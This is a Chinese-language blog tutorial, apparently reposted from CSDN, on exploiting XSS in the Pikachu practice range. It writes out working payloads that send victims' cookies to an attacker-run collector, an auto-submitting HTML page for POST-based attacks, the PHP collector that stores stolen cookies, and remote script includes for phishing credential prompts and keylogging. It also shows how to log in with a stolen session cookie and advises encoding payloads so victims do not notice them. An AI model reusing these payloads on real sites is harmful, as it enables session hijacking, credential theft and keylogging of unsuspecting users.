【网络安全 --- XSS漏洞利用实战】你知道如何利用XSS漏洞进行cookie获取,钓鱼以及键盘监听吗?--- XSS实战篇

一,XSS 实战

以pikachu靶场为例

1-1 盗取cookie

过程:想要盗取别人的cookie信息的话有一个前提条件,就是你应该在别人触发你的xss攻击时,你的代码应该将收集的cookie信息发送给你的平台来接收,这样才获取到了数据

1-1-1 安装xss后台

pikachu靶场有个xss后台,先进行安装一下

 

 

点击 点击这里 进入首页即可 

 

点击第一个cookie收集,进去 

扫描二维码关注公众号,回复: 17105700 查看本文章

点击cookie收集,来到如下页面进行等待,等待收取你攻击获得的数据

http://192.168.169.190/pikachu/vul/xss/xss_stored.phphttp://192.168.31.110/pikachu/vul/xss/xss_stored.php

 1-1-2 获取cookie(GET请求)

首先关闭phpstudy的魔法符号

回到我们的pikachu页面,这里我们看到有xss攻击的点  

注入XSS攻击代码 

这个payload的意思就是获取当前网页的cookie信息,然后发送给http://192.168.169.190/pikachu/pkxss/xcookie/cookie.phphttp://192.168.169.190/pikachu/pkxss/xcookie/cookie.php

所以当有人触发payload的时候,就会收集cookie 信息发给目xss后台,保存到数据库了http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php

 '"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> 

最好对这个代码编码一下,让别人不那么容易看出来,那么这段代码的意思是将获取到的cookie,发送给这个网址的文件 /pikachu/pkxss/xcookie/cookie.php 这个文件将cookie数据保存到了xxs后台系统的数据库中,我们就能在后台看到获取的cookie数据了,我们看一下这个文件,注意header函数中的ip地址要改成我们自己的pikachu项目所在服务器的ip地址昂。这个header跳转也是为了不让对方在网址上看到你的xss代码,迷惑对方用的。 

接下来我们看一下 获取/pikachu/pkxss/xcookie/cookie.php 的cookie.php是如何处理的

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站

?>

 

注入xss代码,然后访问,注意,如果别人添加cookie的时候,给set_cookie方法设置了那个httponly=True参数的话,是不能完成这个攻击的,因为有了这个参数,那么js代码就不能获取cookie了,但是它只针对js生效,什么vscript等前端语言是不受这个参数限制的  

 

然后就是submit提交 

再回来看看后台有么有获取到数据 

发现已经获取到了cookie信息

如果效果不好的话,切换php一下版本

1-1-

1-1-3 获取cookie(post请求)

post请求方式的xss攻击其实是比较难实现的,因为要构造一个网页html文件出来

下面是HTML代码,注意替换里面的IP地址信息,保存到桌面xxx.html

action= 里的IP地址是存在xss注入点的页面网址

document.location = 里的IP地址是xss后台的IP地址

将里面的ip地址和路径改为这个虚拟机的ip地址和xss后台路径:这个文件我们后面想办法引导别人打开这个文件,当他打开这个文件的时候,就把他的cookie信息发送到了我们的xss后台。

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value="&apos;&quot;><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> "
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
 * 
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

 整个原理详细讲解

这是登录前的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/post_login.php
 

这是登录后的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php
 

 这是 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php 对应的后台页面服务端代码,这个页面只有登录了能访问所以有权限。所以如果直接往这个页面发请求的话就会检验有没有登录。

下面看发post请求的html页面,以下是主体代码

<body>
<form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value="&apos;&quot;><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> "
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

 这个是一个表单,提交到有权限的一个后台地址,只能登录了才能访问。可以看到input框的name属性为message,这个input框的值为

&apos;&quot;><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

准备工作差不多了,现在给大家画个详细的图解,讲解cookie如何获取

 接下来就开始实践一下吧

找到pikachu,输入用户名和密码登录这里,admin/123456,登录成功以后,浏览器就会保存登录成功的cookie,登录成功后往后台提交数据的时候都会带上cookie ,后台根据cookie判断用户是否登录成功。

登录成功后的效果 这时候浏览器已经保存了cookie,现在提交数据时都会带上这个cookie

 

然后直接双击打开我们的post.html(注意用户登录的cookie保存在谷歌浏览器,这个xx.html算是攻击者发给用户的攻击代码,诱导用户打开)

首先,用户打开以后会往后台 xss_reflected_post.php发请求,带上一个message='我们的payload',因为浏览器已经缓存了这个用户的cookie,所以会带上cookie,这样身份认证就通过了

后台取出message值发现等于kebi ,就会把payload返回给客户端,payload就会在客户端执行,发请求给xss后台,同时带上自己的cookie 

打开效果:直接跳转到了如下页面

 然后看我们xss后台的cookie信息

有了cookie信息,我们就不知道账号密码的情况下也能登录,演示一下

我用火狐浏览器演示不用账号密码,通过cookie登录

网址是这个http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php

但是这个是有权限的,如果没有登录的话,浏览器不会保存cookie ,直接访问的话后台验证失败,就会跳转到登录页,这个我们之前分析过了


 

我还没按回车,一按回车因为登录失败就会跳转到登录页

现在我用之前获取到的cookie试一下 ,这里用了火狐浏览器提供的一个插件,很方便的管理cookie ,可以添加cookie

这是之前收集到的cookie

ant[uname]=admin;

ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=olj54c4qim7ik7k7h560eik013 

都准备就绪了,看看能否成功 ,按回车发请求,就会携带上cookie

 

 

我们就通过xss漏洞获取到了用户cookie以后,用用户的身份成功登录了网站。 

1-2 钓鱼

钓鱼的方法有很多,但是这个主要是看你的页面搭建的好不好,是不是和别人正常网站页面的很一样,能不能骗到别人,我们不能做这个昂,违法的。 只要有xss漏洞的地方,都可以做钓鱼。

钓鱼攻击利用页面 D:\phpStudy\WWW\pikachu\pkxss\xfish

注意把IP地址修改成你自己的 ,注意源文件路径有问题,路径少了pikachu

这段代码就是弹出一个对话框,然后将用户在对话框中输入的用户名和密码发送到xfish.php文件中,这个文件做的事情就是将数据保存到数据库中。

 准备payload

'"><script src="http://192.168.169.190/pikachu/pkxss/xfish/fish.php"></script>

打开pikachu的存储型位置,将payload放进入 ,然后submit

就弹出钓鱼页面返回的输入用户名,密码的框 

 输入账号密码提交,这样以后这个payload会永久存储在数据库了,只要有用户登录机会弹出框,让用户输入用户密码,然后发给攻击者

现在我们到xss后台看一下

发现已经有结果了 

当你输入了用户信息之后,点击登录,结果啊,提示你登录超时请重新登录等效果,然后你有输入了一遍用户名和密码,在点击登录的时候,你的用户信息就被拿走了,第二次提示你输入用户名密码的时候,你要注意观察网站的网站是否变化了,看上去很诡异的,编码过的,那么就不要输入了,因为这是别人做的和正常网站一样页面效果的钓鱼网站登录页面,以前qq账号密码就这么丢的。 

1-3 获取键盘记录

js的这个监控键盘就的js文件功能不太好昂,简答演示一下

payload如下

'"><script src="http://192.168.169.190/pikachu/pkxss/rkeypress/rk.js"></script>

 打开下面的文件,修改一下ip地址和路径,注意源文件路径有问题,路径少了pikachu,

存储型xss那里输入payload,提交 

然后在页面上随便敲一敲键盘,注意只能记录这个钓鱼的页面实现键盘记录提交

发现已经有很多数据了 

 1-4 XSS盲打

XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。也就是通过前端插入攻击代码,在后台管理系统中生效。

管理员后台:   http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php

简单payload

xxx'"><script>confirm(1)</script>

 点击提交

点击提交之后,没有任何弹框效果,不知道它有没有xss漏洞,因为数据提交到了后台,我们在前端没有看到我们提交的任何数据。

这里有提示后台网址

 进入后台看一下:

  http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php

账号密码  amin/123456

一登录就发现,后台管理员遭殃了,原来我们前端输入的恶意代码作用到了后台 

 那么这里我如果插入的钓鱼代码,弹框效果更加好看一些,提示重新登陆等文字,那么很有可能就能获取到你的后台账号密码。

猜你喜欢

转载自blog.csdn.net/m0_67844671/article/details/133577844